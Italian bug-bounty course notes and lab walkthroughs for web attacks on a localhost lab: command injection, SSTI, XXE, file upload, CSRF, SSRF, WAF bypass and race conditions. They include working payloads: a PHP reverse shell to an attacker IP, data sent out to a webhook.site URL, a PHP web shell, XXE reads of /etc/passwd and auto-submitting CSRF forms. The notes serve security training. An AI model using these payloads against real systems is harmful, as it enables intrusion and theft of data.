Se non possiamo vedere l’output direttamente, possiamo inviare i risultati a un server esterno, proviamo con Webhook.site:

https://webhook.site/85bce319-bf86-40fb-9969-f29da340cd56/?='whoami'

http://localhost && curl -X GET "https://webhook.site/85bce319-bf86-40fb-9969-f29da340cd56/?data=$(whoami)"

https://webhook.site/85bce319-bf86-40fb-9969-f29da340cd56/?data=$(whoami)

Command Injection Challenge Walkthrough

Inseriamo dati e notiamo che il nostro input viene inserito direttamente in un’operazione. Potremmo manipolare il codice per eseguire comandi arbitrari.

Il secondo input potrebbe essere il punto di iniezione migliore. Testiamo la posizione Y per un attacco di Command Injection.

789)^2))}';whoami;

Se non otteniamo output, il comando potrebbe generare un errore, bypassiamo gli errori con # (commento in bash)

789)^2))}';whoami;#

Ora che possiamo eseguire comandi, proviamo ad ottenere una shell remota.

Usiamo un payload PHP per la reverse shell:

https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#python

PHP

php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

Modifichiamo il payload per adattarlo al nostro input:

789)^2))}';php -r '$sock=fsockopen("192.168.203.128",4444);exec("/bin/sh -i <&3 >&3 2>&3");';#

Configuriamo un listener sulla nostra macchina per catturare la shell:

nc -lvnp 4444

Invio del payload e… siamo dentro!

Exploiting Server-Side Template Injection (SSTI)

Inseriamo un messaggio casuale: il nostro messaggio viene visualizzato esattamente come lo abbiamo inserito.

Testiamo anche XSS:

<script>prompt(1)</script>
<script>alert('XSS')</script>

Il codice JavaScript viene eseguito, confermando la presenza di Cross-Site Scripting (XSS).

Identificare la presenza di SSTI con Burp Suite:

Inviamo la richiesta POST all’intruder e aggiungiamo il nostro testo per il payload.

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection/Intruder -> ssti.fuzz

Alcune risposte hanno una dimensione del contenuto molto più grande delle altre. Esaminiamo una di queste risposte più lunghe.

Vediamo nel tab Response un errore di sintassi di Twig: “Uncaught Twig Error: syntax error” -> l’applicazione usa Twig come motore di template!

Confermare SSTI con payload di test, testiamo se possiamo eseguire codice nel motore di template:

{{ 7 * 7 }}

https://hacktricks.boitatech.com.br/pentesting-web/ssti-server-side-template-injection#twig-php

Se SSTI è presente, dovremmo ottenere il valore 49 nella risposta.

Verifichiamo se l’esecuzione avviene lato server o client:

Se la pagina restituisce il valore {{ 7 * 7 }} tale e quale → potrebbe essere client-side (CSTI).

Se invece restituisce 49 → confermiamo che SSTI è attiva!

Ora proviamo a eseguire comandi di sistema con Twig:

{{['id']|filter('system')}}

Dovremmo ottenere l’output del comando id, ad esempio:

uid=33(www-data) gid=33(www-data) groups=33(www-data) Array

Se il comando viene eseguito, significa che abbiamo RCE (Remote Code Execution), proviamo a leggere il file /etc/passwd:

{{['cat\x20/etc/passwd']|filter('system')}}

Server-Side Template Injection (SSTI) Challenge Walkthrough

Proviamo lo stesso payload che abbiamo usato prima per Twig:

{{ 7 * 7 }}

Dopo aver generato la card dobbiamo editarla e quindi salvarla, così otteniamo il la richiesta POST in Burp Suite. Notiamo che non viene stampato il risultato ma solamente {{ 7 * 7 }}, invece se controlliamo il Response dell’HTTPhistory come quello del Repeater, notiamo il risultato 49, questo sta a significare che qualcosa nasconde il risultato lato client ma non lato server, quindi l’injection è possibile.

A volte, sembra che SSTI non funzioni perché il frontend nasconde il comportamento reale.

Proviamo con:

{{['id']|filter('system')}}

e verifichiamo in Burp Suite che il comando ha funzionato, vediamo il nome utente del server (www-data, apache, ecc.), significa che abbiamo ottenuto RCE

così come con:

{{['cat\x20/etc/passwd']|filter('system')}}

XML External Entity (XXE) Injection

Dove dobbiamo testare per XXE?

Ovunque si possa caricare XML.

Formato richiesto dal sistema (xxe-safe.xml):

<?xml version="1.0" encoding="UTF-8"?>
<creds>
    <user>testuser</user>
    <password>testpass</password>
</creds>

Testiamo (xxe-safe_2.xml):

<?xml version="1.0" encoding="UTF-8"?>
<creds>
    <user>&amp;</user>
    <password>testpass</password>
</creds>

Il file viene accettato e caricato con successo.

Ora testiamo se il parser XML accetta entità personalizzate (xxe-exploit.xml).

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE creds [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<creds>
    <user>&xxe;</user>
    <password>testpass</password>
</creds>

Cosa accade?

Abbiamo dichiarato un’entità esterna chiamata xxe.

Il parser XML sostituirà &xxe; con il contenuto del file /etc/passwd.

Se vediamo il contenuto di /etc/passwd, l’app è vulnerabile!

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection

https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html

Insecure File Upload Client-Side Controls Bypass

Prima di tentare exploit avanzati, comprendere il funzionamento del caricamento dei file è essenziale.

Primo Test: accediamo alla funzione di upload e vediamo quali tipi di file sono accettati.

Creiamo il file test.txt contenente il testo “test” e poi lo carichiamo:

echo ‘test’ > test.txt

L’applicazione mostra un popup con il messaggio che accetta solo file JPG e PNG.

Il controllo sembra avvenire lato client.

Ora verifichiamo se il controllo avviene solo lato client DevTools (F12 o CTRL + SHIFT + I)

Passiamo alla scheda Network e ricarichiamo la pagina, quindi carichiamo di nuovo test.txt e osserviamo le richieste HTTP: nessuna richiesta viene inviata al server. Il blocco avviene completamente lato client.

Modificare la Richiesta con Burp Suite 

Se il controllo avviene sia lato client che server, possiamo manipolare la richiesta con Burp Suite.

Intercettiamo la richiesta di upload.

Carichiamo un’immagine valida (logo.png).

Modifichiamo il nome del file e il contenuto nel Repeater:

Content-Disposition: form-data; name="file"; filename="test.txt"

ed eliminiamo tutta la parte in rosso, da PNG a —– e inseriamo un testo qualsiasi:

Inviamo con SEND e verifichiamo nel RESPONSE che è stato inviato con successo “HTTP/1.1 200”, aggiorniamo la pagina web e notiamo che il file txt è stato correttamente caricato.

Caricamento di un Web Shell in PHP

Ora proviamo a caricare un file PHP per ottenere esecuzione di codice.

Inseriamo questo script PHP che esegue comandi remoti:

<?php system($_GET['cmd']); ?>

Modifichiamo il file come “cmd.php”,

così:

Inviamo con SEND e verifichiamo nel RESPONSE che è stato inviato con successo “HTTP/1.1 200”, aggiorniamo la pagina web e notiamo che il file cmd.php è stato correttamente caricato.

Individuare la Directory di Upload

Se non sappiamo dove viene caricato il file, possiamo usare fuzzing con ffuf o dirb.

Eseguiamo una scansione delle directory note:

ffuf -u http://localhost/FUZZ -w /usr/share/wordlists/dirb/common.txt

raffiniamo:

ffuf -u http://localhost/labs/FUZZ -w /usr/share/wordlists/dirb/common.txt

e troviamo la directory “uploads”. Cerchiamo di accerdervi sfruttando lo script PHP di prima:

http://localhost/labs/uploads/cmd.php

non accetta un commando vuoto, correggiamo il tiro:

http://localhost/labs/uploads/cmd.php?cmd=whoami

e allora:

http://localhost/labs/uploads/cmd.php?cmd=cat /etc/passwd

Insecure File Upload Bypasses

Primo Test: accediamo alla funzione di upload e vediamo quali tipi di file sono accettati. Creiamo il file test.txt contenente il testo “test” e poi lo carichiamo:

echo ‘test’ > test.txt

L’applicazione mostra un popup con il messaggio che accetta solo file JPG e PNG.

Riproviamo con un file accettato ed invio la richiesta POST al Repeater e apportiamo le seguenti modifiche da così:

a così:

<?php system($_GET['cmd']); ?>

SEND, ma nel Response leggiamo:

Allora torniamo indietro nel Request del Repeater e modifichiamo così:

SEND e questa volta il file viene caricato, aggiorniamo la pagina e verifichiamo per conferma.

Però se cerchiamo di eseguire lo script PHP all’interno del file caricato otteniamo un errore:

dovuto ad una errata interpretazione del tipo di file mediante i magic bytes, quindi dobbiamo manipolare un po’ la richiesta, ovvero eliminiamo un po’ del codice in rosso (cambiamo il nome del file da caricare, ovviamente):

SEND, Response corretto e questa volta otteniamo:

http://localhost/labs/uploads/logo6.php?cmd=hostname
http://localhost/labs/uploads/logo6.php?cmd=ls -lah
http://localhost/labs/uploads/logo6.php?cmd=cat /etc/passwd

Suggerimenti

Altri Metodi per Eseguire File PHP

Se il server blocca .php, possiamo provare altre estensioni eseguibili:

.phtml

.php3

.php4

.php5

Consultare i seguenti link:

https://appsecexplained.gitbook.io/appsecexplained/common-vulns/insecure-file-upload

https://portswigger.net/web-security/file-upload

Insecure File Upload Challenge Walkthrough

Primo Test: accediamo alla funzione di upload e vediamo quali tipi di file sono accettati. Creiamo il file test.txt contenente il testo “test” e poi lo carichiamo:

echo ‘test’ > test.txt

L’applicazione mostra un popup con il messaggio che accetta solo file JPG e PNG.

Riproviamo con un file accettato ed invio la richiesta POST al Repeater e apportiamo le seguenti modifiche da così:

a così:

<?php system($_GET['cmd']); ?>

SEND, ma nel Response leggiamo:

Allora possiamo provare altre estensioni eseguibili:

.phtml

.php3

.php4

.php5

SEND e questa volta il file viene caricato, aggiorniamo la pagina e verifichiamo per conferma.

Automated Scanners

Free:

Commerciali:

  • Burp Suite
  • Nessus
  • Acunetix
  • AppScan
  • Veracode
  • Netsparker
  • Qualys Web Application Scanning (WAS)

Scripting and Automation

  • Subfinder → Rileva subdomini.
  • Assetfinder → Scansiona domini per trovare sottodomini correlati.
  • Amass → Strumento avanzato per la scoperta di sottodomini.
  • httprobe→ Controlla se un subdominio è attivo.
  • Gowitness → Scatta screenshot di subdomini attivi.
  • Nmap → Effettua la scansione delle porte aperte.

./recon-new.sh

Cross-Site Request Forgery (CSRF) Attacks

Il Cross-Site Request Forgery (CSRF) è un attacco in cui un utente autenticato viene ingannato nel compiere un’azione indesiderata all’interno di un’applicazione web.

https://owasp.org/www-community/attacks/csrf

Analisi della richiesta HTTP con Burp Suite

Accediamo all’account di Jeremy.

Modifichiamo l’email (es. jeremy@jeremy.com).

Intercettiamo la richiesta con Burp Suite:

POST /csr0x01.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
email=jeremy%40jeremy.com&submit=Update

Notiamo che la richiesta non contiene un CSRF token, il che significa che possiamo replicarla facilmente.

In Burp Suite pro:

invece nella CE copiamo dal Response la parte relativa al <form>:

Creiamo un modulo HTML nascosto che invia automaticamente una richiesta POST. Quando la vittima visita la pagina, il browser invia la richiesta senza che l’utente se ne accorga. L’email di Jeremy verrà modificata a csrf@csrf.com senza il suo consenso. Se Jeremy visita questa pagina mentre è autenticato, il suo indirizzo email verrà aggiornato senza interazione!

file:///home/kali/bb-course/esercizi/csrf.html

<html>
<body>          	 
          	 
<form action="http://localhost/labs/csrf0x01.php" method="post">
<input type="text" name="email" value="csrf@csrf.com">
<button type="submit">Submit</button>
</form>

<script>
window.onload = function() {
	document.forms[0].submit();
}
</script>

</body>           	 
</html>

Cross-Site Request Forgery (CSRF) Token Bypass

https://appsecexplained.gitbook.io/appsecexplained/common-vulns/cross-site-request-forgery-csrf

Analisi della richiesta HTTP con Burp Suite

Accediamo all’account di Jeremy.

Modifichiamo l’email (es. jeremy@jeremy.com).

Intercettiamo la richiesta con Burp Suite:

c’è un token CSRF.

Verifichiamo se il token è effettivamente controllato.

Costruiamo un Proof of Concept (PoC) per testare il bypass, la riga di codice in rosso replica quella del Response ma inseriamo un valore arbitrario al csrf:

<html>
<body>          	 
          	 
<form action="http://localhost/labs/csrf0x02.php" method="post">
<input type="text" name="email" value="csrf@csrf.com">
<input type="text" name="csrf" id="csrf" value="prova123" hidden>
<button type="submit">Submit</button>
</form>

<script>
window.onload = function() {
	document.forms[0].submit();
}
</script>

</body>           	 
</html>

Se Jeremy visita questa pagina mentre è autenticato, il suo indirizzo email verrà aggiornato senza interazione!

file:///home/kali/bb-course/esercizi/csrf2.html

Exploiting Server-Side Request Forgery (SSRF)

La Server-Side Request Forgery (SSRF) è una vulnerabilità che consente a un attaccante di indurre il server a eseguire richieste per suo conto.

Il sito permette di verificare i prezzi di alcuni prodotti tramite API.

Analisi delle richieste con Burp Suite

Intercettiamo la richiesta HTTP con Burp Suite.

Identifichiamo il parametro che contiene l’URL di destinazione.

Il parametro url è controllato dall’utente. Se l’applicazione effettua una chiamata HTTP a qualsiasi URL fornito dall’utente, potremmo sfruttarlo per accedere a risorse interne

Effettuiamo una scansione per individuare endpoint interni interessanti:

ffuf -u http://localhost/labs/api/FUZZ -w /usr/share/wordlists/dirb/common.txt

Abbiamo trovato /admin.php come endpoint interessante,

Modifichiamo la richiesta nel Repeater per puntare a

localhost/labs/api/admin.php

Risultato:

Welcome to the admin panel

Modifichiamo la richiesta per provare diverse IP interni.

“url”:http://10.10.10.1/

“url”:http://192.168.203.128/

Se il server risponde, significa che esiste un servizio sulla rete interna. Possiamo iterare su più porte per identificare altri servizi interni esposti.

Blind Server-Side Request Forgery (SSRF)

A differenza della SSRF classica, in una Blind SSRF (SSRF cieca) non vediamo direttamente la risposta della richiesta che inviamo.

Il server effettua la richiesta per conto nostro, ma noi non riceviamo un feedback visibile.

Procedura per identificare la Blind SSRF con Burp Suite:

Intercettiamo la richiesta con Burp Suite e la inviamo a Repeater.

Modifichiamo il valore dell’URL nel parametro vulnerabile, puntando all’endpoint admin.php:

Risultato:

Errore: dati non validi da terze parti.

Il server effettua la richiesta, ma si aspetta una risposta in un formato specifico.

Anche se otteniamo un errore, questo non significa che l’SSRF non sia presente.

Metodo per rilevare una Blind SSRF con Webhook.site:

Apriamo Webhook.site (o un server HTTP controllato da noi).

Copiamo l’URL fornito da Webhook.site.

Inseriamo l’URL come valore nel parametro vulnerabile:

Inviamo la richiesta e osserviamo Webhook.sit.

Se vediamo una richiesta arrivare sul nostro webhook, significa che l’SSRF è presente.

Alternativa con Burp Collaborator

Se abbiamo Burp Suite Professional, possiamo usare Collaborator per rilevare SSRF.

Nel parametro vulnerabile, inseriamo un payload di Collaborator:

url=http://your-collaborator-subdomain.burpcollaborator.net

Inviamo la richiesta e controlliamo la scheda Collaborator.

Se vediamo richieste in arrivo, significa che il server sta effettuando le connessioni per noi.

Open Redirect

L’Open Redirect è una vulnerabilità che consente a un attaccante di reindirizzare gli utenti a un sito web malevolo, sfruttando un parametro URL controllato dall’utente.

Da così:

http://localhost/labs/r0x01_script.php?id=1&return_url=./r0x01.php

a così:

http://localhost/labs/r0x01_script.php?id=1&return_url=http://google.com

Introduction to Vulnerable Components

Nello sviluppo moderno, gli sviluppatori incorporano librerie, framework e plugin di terze parti nelle loro applicazioni per velocizzare il lavoro.

Se questi componenti sono obsoleti, mal configurati o insicuri, possono introdurre vulnerabilità critiche.

Come Individuare Componenti Vulnerabili?

Strumenti utili:

  • BuiltWith
  • Wappalyzer
  • DevTools del browser
  • Ottenere informazioni sulle versioni

Dove trovare i dettagli della versione?

  • File README
  • Codice sorgente
  • Informazioni sulla licenza
  • Footer dell’applicazione

Cercare vulnerabilità note (CVE, exploit)

Automatizzare l’identificazione di componenti vulnerabili

  • Nuclei → Scansione automatizzata di CVE note.
  • OWASP Dependency-Check → Controlla vulnerabilità nei componenti usati.
  • Retire.js → Identifica JavaScript e librerie vulnerabili.

Reporting

Il CVSS (Common Vulnerability Scoring System) è un framework di valutazione della sicurezza che fornisce un metodo standardizzato per valutare la gravità delle vulnerabilità.

Aiuta le organizzazioni a dare priorità alle vulnerabilità e consente una comunicazione coerente tra le varie parti interessate.

I CVE (Common Vulnerabilities and Exposures) vengono usati per tracciare le vulnerabilità.

Il CVSS viene usato per valutarne la gravità.

È gestito da FIRST.org, un’organizzazione no-profit statunitense.

https://cvss.ramhacks.org/  → mostra le metriche da una stringa vettore

GitLab CVSS calculator → consente di rispondere a domande guidate o incollare una vector string

https://cvssadvisor.com/  → suggerisce modi per “escalare” una vulnerabilità e aumentare il bounty

WAF Identification and Fingerprinting

wafw00f http://target.com/index.php

Con Burp Suite:

Si invia un payload innocuo: “hello there” → 200 OK

Poi un payload XSS 

<script>alert(1)</script>

403 Forbidden ➜ Il WAF blocca l’attacco

Intruder per inviare una lista di payload (es. “Fuzzy XSS”)

Alcuni vengono bloccati, ma uno passa: il WAF è stato aggirato

Anche se il payload non viene eseguito, passa il controllo del WAF, suggerendo un possibile vettore di attacco.

Bypassing Input Validation and Encoding Techniques

<script>prompt(1)</script>
<img src=x onerror=prompt()>
<scri><script>pt>prompt(1)</scr></script><ipt>

Cerca su google:

cross-site scripting bug bounty write-up

Race conditions

PortSwigger Academy – Race conditions

Continua il percorso di apprendimento suggerito da “PortSwigger Academy”.

Le race conditions  sono un tipo comune di vulnerabilità strettamente correlata ai difetti della logica aziendale. Si verificano quando i siti Web elaborano le richieste contemporaneamente senza adeguate garanzie. Ciò può portare a più thread distinti che interagiscono con gli stessi dati contemporaneamente, risultando in una “collisione” che provoca comportamenti non intenzionali nell’applicazione. Un attacco di race condition utilizza richieste attentamente cronometrate per causare collisioni intenzionali e sfruttare questo comportamento non intenzionale a scopi dannosi.

Il periodo di tempo durante il quale è possibile una collisione è noto come “race window”. Questa potrebbe essere la frazione di secondo tra due interazioni con il database, per esempio.

Come altri difetti logici, l’impatto di una race condition dipende fortemente dall’applicazione e dalla funzionalità specifica in cui si verifica.

In questa sezione, imparerai come identificare e sfruttare diversi tipi di race conditions. Ti verrà spiegato come gli strumenti integrati di Burp Suite possono aiutarti a superare le sfide dell’esecuzione di attacchi classici, oltre a una metodologia collaudata che ti consente di rilevare nuove classi di race conditions in processi nascosti in più fasi. Questi vanno ben oltre i limiti di cui potresti avere già familiarità.

PortSwigger Research

Come al solito, PortSwigger ha anche fornito una serie di laboratori deliberatamente vulnerabili che puoi usare per praticare ciò che hai imparato in modo sicuro contro obiettivi realistici. Molti di questi si basano sulla ricerca originale di Portswigger, presentata per la prima volta a Black Hat USA 2023.

Per maggiori dettagli, dai un’occhiata al white paper di accompagnamento: Smashing the state machine: The true potential of web race conditions

Limitare le race conditions di sovraccarico

Il tipo più noto di race condition consente di superare una sorta di limite imposto dalla logica aziendale dell’applicazione.

Ad esempio, considera un negozio online che ti consente di inserire un codice promozionale durante il checkout per ottenere uno sconto una tantum sul tuo ordine. Per applicare questo sconto, l’applicazione può eseguire i seguenti passaggi di alto livello:

  1. Controllare di non aver già usato questo codice.
  2. Applicare lo sconto sul totale dell’ordine.
  3. Aggiornare il record nel database per riflettere il fatto che ora hai utilizzato questo codice.

Se in seguito si tenta di riutilizzare questo codice, i controlli iniziali eseguiti all’inizio del processo dovrebbero impedirti di farlo:

Ora considera cosa accadrebbe se un utente che non ha mai applicato questo codice di sconto prima ha provato ad applicarlo due volte quasi esattamente nello stesso momento:

Come puoi vedere, l’applicazione passa attraverso un sotto-stato temporaneo; Cioè, uno stato che entra e poi si rialza prima che l’elaborazione della richiesta sia completa. In questo caso, il sub-stato inizia quando il server inizia a elaborare la prima richiesta e termina quando aggiorna il database per indicare che hai già utilizzato questo codice. Questo introduce una piccola finestra di gara durante la quale puoi rivendicare ripetutamente lo sconto tutte le volte che vuoi.

Ci sono molte varianti di questo tipo di attacco, tra cui:

  • Riscattare una carta regalo più volte.
  • Valutare un prodotto più volte.
  • Prelievo o trasferimento di contanti superiori al saldo del tuo conto.
  • Riutilizzare un’unica soluzione CAPTCHA.
  • Bypassare il rate limit di anti-brute-force.

I sovraccarichi limite sono un sottotipo dei cosiddetti difetti “time-of-check to time-of-use” (TOCTOU). Più tardi in questo argomento, esamineremo alcuni esempi di vulnerabilità delle condizioni di gara che non rientrano in nessuna di queste categorie.

Rilevare e sfruttare il limite di sovraccarico delle race conditions con Burp Repeater

Il processo di rilevamento e sfruttamento del sovraccarico delle race conditions è relativamente semplice. In termini di alto livello, tutto ciò che devi fare è:

  1. Identificare un endpoint single-use o rate-limited che ha un qualche tipo di impatto sulla sicurezza o altro utile.
  2. Emettere più richieste a questo endpoint in rapida successione per vedere se è possibile sovraccaricare questo limite.

La sfida principale è il cronometraggio delle richieste in modo che almeno due finestre di race si allineino, causando una collisione. Questa finestra è spesso solo di millisecondi e può essere ancora più breve.

Anche se si inviano tutte le richieste esattamente allo stesso tempo, in pratica ci sono vari fattori esterni incontrollabili e imprevedibili che influenzano quando il server elabora ogni richiesta e in quale ordine.

Burp Suite ​​aggiunge potenti nuove funzionalità al Repeater di Burp che  consentono di inviare facilmente un gruppo di richieste parallele in modo da ridurre notevolmente l’impatto di uno di questi fattori, vale a dire il jitter di rete. Burp regola automaticamente la tecnica che utilizza per adattarsi alla versione HTTP supportata dal server:

  • per HTTP/1, utilizza la classica tecnica di sincronizzazione dell’ultimo byte;
  • per HTTP/2, utilizza la tecnica di attacco a pacchetto singolo, dimostrata per la prima volta da Portswigger Research at Black Hat USA 2023.

L’attacco a pacchetto singolo consente di neutralizzare completamente l’interferenza dal jitter di rete utilizzando un singolo pacchetto TCP per completare contemporaneamente le richieste 20-30.

Sebbene puoi spesso utilizzare solo due richieste per attivare un exploit, l’invio di un gran numero di richieste come questa aiuta a mitigare la latenza interna, nota anche come jitter lato server. Ciò è particolarmente utile durante la fase di scoperta iniziale. Tratteremo questa metodologia in modo più dettagliato.

Per saperne di più

Per i dettagli su come utilizzare le nuove funzionalità di Burp Repeater per inviare più richieste in parallelo, consultare Sending requests in parallel.

Per una visione tecnica dei meccanici sottostanti dell’attacco a pacchetto singolo e uno sguardo più dettagliato alla metodologia, dai un’occhiata al white paper di accompagnamento: Smashing the state machine: The true potential of web race conditions.

Lab-https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun

Rilevare e sfruttare il sovraccarico del limite delle race conditions con Turbo Intruso

Oltre a fornire supporto nativo per l’attacco a pacchetto singolo nel Repeater di Burp, è stata anche migliorata l’estensione del Turbo Intruder per supportare questa tecnica. Puoi scaricare l’ultima versione dallo store BAPP.

Turbo Intruder richiede una certa competenza in Python, ma è adatto a attacchi più complessi, come quelli che richiedono più tentativi, tempistica delle richieste sfalsate o un numero estremamente elevato di richieste.

Per usare l’attacco a pacchetti singolo in Turbo Intruder:

  1. Assicurarsi che l’obiettivo supporti HTTP/2. L’attacco a pacchetto singolo è incompatibile con HTTP/1.
  2. Impostare le opzioni di configurazione engine=Engine.BURP2 e concurrentConnections=1  per il motore di richiesta.
  3. Quando fai la coda delle richieste, raggrupparle assegnandole a un gate usando l’argomento gate metodo engine.queue().
  4. Per inviare tutte le richieste in un determinato gruppo, aprire il rispettivo gate con il metodo engine.openGate().
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                            concurrentConnections=1,
                            engine=Engine.BURP2
                            )
    
    # queue 20 requests in gate '1'
    for i in range(20):
        engine.queue(target.req, gate='1')
    
    # send all requests in gate '1' in parallel
    engine.openGate('1')

Per maggiori dettagli, consultare il modello race-single-packet-attack.py fornito nella directory di esempi predefiniti di Turbo Intruder.

Lab-https://portswigger.net/web-security/race-conditions/lab-race-conditions-bypassing-rate-limits

Sequenze in più fasi nascoste

In pratica, una singola richiesta può avviare un’intera sequenza in più fasi dietro le quinte, passando l’applicazione attraverso più stati nascosti che entrano e poi si ripetono prima che l’elaborazione della richiesta sia completa. Ci riferiremo a questi come “sottocampi”.

Se è possibile identificare una o più richieste HTTP che causano un’interazione con gli stessi dati, è possibile abusare potenzialmente di questi sottocampi per esporre variazioni sensibili al tempo dei tipi di difetti logici che sono comuni nei flussi di lavoro in più fasi. Ciò consente di sfruttare le condizioni di gara che vanno ben oltre il limite.

Ad esempio, potresti avere familiarità con i flussi di lavoro di autenticazione multi-fattore difettosi (multi-factor authentication – MFA) che consentono di eseguire la prima parte del login utilizzando credenziali note, quindi navigare direttamente all’applicazione tramite navigazione forzata, aggirando efficacemente MFA.

Il seguente pseudo-codice dimostra come un sito Web potrebbe essere vulnerabile a una variazione di gara di questo attacco:

session['userid'] = user.userid
    if user.mfa_enabled:
    session['enforce_mfa'] = True
    # generate and send MFA code to user
    # redirect browser to MFA code entry form

Come puoi vedere, questa è in realtà una sequenza in più fasi nell’arco di una singola richiesta. Ancora più importante, passa attraverso un sotto-stato in cui l’utente ha temporaneamente una sessione di accesso valida, ma l’MFA non è ancora applicata. Un utente malintenzionato potrebbe potenzialmente sfruttare questo inviando una richiesta di accesso insieme a una richiesta a un endpoint sensibile e autenticato.

In seguito esamineremo altri esempi di sequenze in più fasi nascoste e sarai in grado di esercitarti a sfruttarli nei laboratori interattivi. Tuttavia, poiché queste vulnerabilità sono abbastanza specifiche dell’applicazione, è importante comprendere prima la metodologia più ampia che dovrai applicare per identificarle in modo efficiente, sia nei laboratori che in realtà.

Metodologia

Per rilevare e sfruttare sequenze multi-fase nascoste, PortSwiger raccomanda la seguente metodologia, che è riassunta dal white paper Smashing the state machine: The true potential of web race conditions di PortSwigger Research.

1 – Prevedere potenziali collisioni

Testare ogni endpoint non è pratico. Dopo aver mappato il sito di destinazione come normalmente, puoi ridurre il numero di endpoint che devi testare ponendoti le seguenti domande:

  • questa sicurezza endpoint è critica? Molti endpoint non toccano la funzionalità critica, quindi non vale la pena testare;
  • c’è qualche potenziale collisione? Per una collisione di successo, in genere è necessario due o più richieste che attivano operazioni nello stesso record. Ad esempio, considera le seguenti variazioni di un’implementazione di reimpostazione della password:

Con il primo esempio, è improbabile che la richiesta di reimpostazione della password parallela per due utenti diversi causi una collisione in quanto si traduce in modifiche a due record diversi. Tuttavia, la seconda implementazione consente di modificare lo stesso record con richieste per due utenti diversi.

2 – Sonda alla ricerca di indizi

Per riconoscere degli indizi, devi prima confrontare come l’endpoint si comporta in condizioni normali. Puoi farlo in Burp Repeater raggruppando tutte le tue richieste e utilizzando l’opzione Send group in sequence (separate connections). Per ulteriori informazioni, consultare Sending requests in sequence.

Successivamente, invia lo stesso gruppo di richieste contemporaneamente utilizzando il single-packet attack (o last-byte sync se HTTP/2 non è supportato) per ridurre al minimo il jitter di rete. Puoi farlo in Burp Repeater selezionando l’opzione Send group in parallel. Per ulteriori informazioni, consultare Sending requests in parallel. In alternativa, è possibile utilizzare l’estensione Turbo Intruder, disponibile dal negozio BAPP.

Tutto può essere un indizio. Basta cercare una qualche forma di deviazione da ciò che hai osservato durante il benchmarking. Ciò include un cambiamento in una o più risposte, ma non dimenticare i second-order effects come diversi contenuti e-mail o una modifica visibile nel comportamento dell’applicazione in seguito.

3 – Dimostra il concetto

Prova a capire cosa sta succedendo, rimuovi richieste superflue e assicurati di poter ancora replicare gli effetti.

Le condizioni di gara avanzate possono causare primitivi insolite e uniche, quindi il percorso al massimo impatto non è sempre immediatamente ovvio. Può aiutare a pensare a ciascuna condizione di gara come a una debolezza strutturale piuttosto che a una vulnerabilità isolata.

Per una metodologia più dettagliata, dai un’occhiata al white paper completo Smashing the state machine: The true potential of web race conditions

Condizioni di gara multi-endpoint

Forse la forma più intuitiva di queste condizioni di gara sono quelle che coinvolgono l’invio di richieste a più endpoint contemporaneamente.

Pensa al classico difetto logico nei negozi online in cui aggiungi un oggetto al tuo carrello, paghi, quindi aggiungi più oggetti al carrello prima di effettuare un forced-browsing alla pagina di conferma dell’ordine.

Una variazione di questa vulnerabilità può verificarsi quando la convalida dei pagamenti e la conferma dell’ordine vengono eseguite durante l’elaborazione di un’unica richiesta. Lo stato dell’ordine potrebbe assomigliare a questo:

In questo caso, puoi potenzialmente aggiungere più oggetti al tuo carrello durante la finestra di gara tra quando il pagamento è convalidato e quando l’ordine è finalmente confermato.

Allineare multi-endpoint race windows

Durante il test per le condizioni di gara multi-endpoint, è possibile riscontrare problemi che cercano di allineare le finestre di gara per ogni richiesta, anche se le invii tutte esattamente allo stesso tempo utilizzando la single-packet technique.

Questo problema comune è causato principalmente dai seguenti due fattori:

  • ritardi introdotti dall’architettura di rete, ad esempio, potrebbe esserci un ritardo ogni volta che il server front-end stabilisce una nuova connessione al back-end. Il protocollo utilizzato può anche avere un impatto importante;
  • ritardi introdotti dall’elaborazione specifica per endpoint, endpoint diversi variano intrinsecamente nei loro tempi di elaborazione, a volte significativamente, a seconda delle operazioni che attivano.

Fortunatamente, ci sono potenziali soluzioni alternative per entrambi questi problemi.

Connection warming

I ritardi di connessione back-end di solito non interferiscono con gli attacchi delle condizioni di gara perché in genere ritardano le richieste parallele allo stesso modo, quindi le richieste rimangono in sintonia.

È essenziale essere in grado di distinguere questi ritardi da quelli causati da fattori specifici dell’endpoint. Un modo per farlo è “riscaldando” la connessione con una o più richieste insignificanti per vedere se ciò appiana i tempi di elaborazione rimanenti. Nel Repeater di Burp, puoi provare ad aggiungere una richiesta GET per la homepage all’inizio del tab group, quindi utilizzando l’opzione Send group in sequence (single connection).

Se la prima richiesta ha ancora un tempo di elaborazione più lungo, ma il resto delle richieste viene ora elaborato all’interno di una finestra breve, è possibile ignorare il ritardo apparente e continuare a testare come normalmente.

Lab-https://portswigger.net/web-security/race-conditions/lab-race-conditions-multi-endpoint

Se si vedono ancora tempi di risposta incoerenti su un singolo endpoint, anche quando si utilizza la tecnica a single-packet, questa è un’indicazione che il ritardo di back-end interferisce con il tuo attacco. Potresti essere in grado di aggirarlo utilizzando Turbo Intruder per inviare alcune richieste di warming della connessione prima di seguire le principali richieste di attacco.

Abuso di limiti del rate o risorsa

Se il riscaldamento della connessione non fa alcuna differenza, ci sono varie soluzioni a questo problema.

Utilizzando Turbo Intruder, è possibile introdurre un breve ritardo sul lato client. Tuttavia, poiché ciò comporta la divisione delle richieste di attacco effettive su più pacchetti TCP, non sarai in grado di utilizzare la tecnica di attacco a pacchetti singolo. Di conseguenza, su bersagli ad alto jitter, è improbabile che l’attacco funzioni in modo affidabile indipendentemente dal ritardo impostato.

Invece, potresti essere in grado di risolvere questo problema abusando di una funzione di sicurezza comune.

I server Web spesso ritardano l’elaborazione delle richieste se vengono inviate troppe e troppo rapidamente. Inviando un gran numero di richieste fittizie per attivare intenzionalmente la velocità o il limite delle risorse, è possibile causare un ritardo sul lato del server. Ciò rende praticabile l’attacco a pacchetto singolo anche quando è richiesta l’esecuzione ritardata.

Condizioni di gara a singolo endpoint

